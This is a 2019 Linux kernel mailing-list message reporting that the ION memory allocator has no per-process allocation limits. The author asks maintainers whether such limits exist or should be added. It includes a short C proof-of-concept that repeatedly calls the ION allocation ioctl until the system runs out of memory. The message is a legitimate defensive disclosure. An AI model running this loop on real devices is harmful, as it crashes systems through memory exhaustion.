From mboxrd@z Thu Jan 1 00:00:00 1970 From: Alexander Popov Subject: Limits for ION Memory Allocator Date: Wed, 17 Jul 2019 19:31:57 +0300 Message-ID: <3b922aa4-c6d4-e4a4-766d-f324ff77f7b5@linux.com> Reply-To: alex.popov@linux.com Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit Return-path: Content-Language: en-US Sender: linux-kernel-owner@vger.kernel.org To: Laura Abbott , Sumit Semwal , Greg Kroah-Hartman , arve@android.com, Todd Kjos , Martijn Coenen , Joel Fernandes , Christian Brauner , Riley Andrews , devel@driverdev.osuosl.org, linaro-mm-sig@lists.linaro.org, linux-arm-kernel , dri-devel@lists.freedesktop.org, LKML , Brian Starkey , Daniel Vetter , Mark Brown , Benjamin Gaignard , Linux-MM , Dmitry Vyukov Andre List-Id: dri-devel@lists.freedesktop.org Hello! The syzkaller [1] has a trouble with fuzzing the Linux kernel with ION Memory Allocator. Syzkaller uses several methods [2] to limit memory consumption of the userspace processes calling the syscalls for testing the kernel: - setrlimit(), - cgroups, - various sysctl. But these methods don't work for ION Memory Allocator, so any userspace process that has access to /dev/ion can bring the system to the out-of-memory state. An example of a program doing that: #include #include #include #include #include #include #define ION_IOC_MAGIC 'I' #define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ struct ion_allocation_data) struct ion_allocation_data { __u64 len; __u32 heap_id_mask; __u32 flags; __u32 fd; __u32 unused; }; int main(void) { unsigned long i = 0; int fd = -1; struct ion_allocation_data data = { .len = 0x13f65d8c, .heap_id_mask = 1, .flags = 0, .fd = -1, .unused = 0 }; fd = open("/dev/ion", 0); if (fd == -1) { perror("[-] open /dev/ion"); return 1; } while (1) { printf("iter %lu\n", i); ioctl(fd, ION_IOC_ALLOC, &data); i++; } return 0; } I looked through the code of ion_alloc() and didn't find any limit checks. Is it currently possible to limit ION kernel allocations for some process? If not, is it a right idea to do that? Thanks! Best regards, Alexander [1]: https://github.com/google/syzkaller [2]: https://github.com/google/syzkaller/blob/master/executor/common_linux.h